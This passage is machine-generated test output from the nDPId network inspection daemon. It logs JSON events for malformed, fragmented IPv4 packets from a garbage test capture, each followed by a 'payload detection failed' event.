+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436422,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436433,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436507,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436519,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436546,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436569,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436611,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436625,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436648,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436695,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436771,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436786,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436798,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 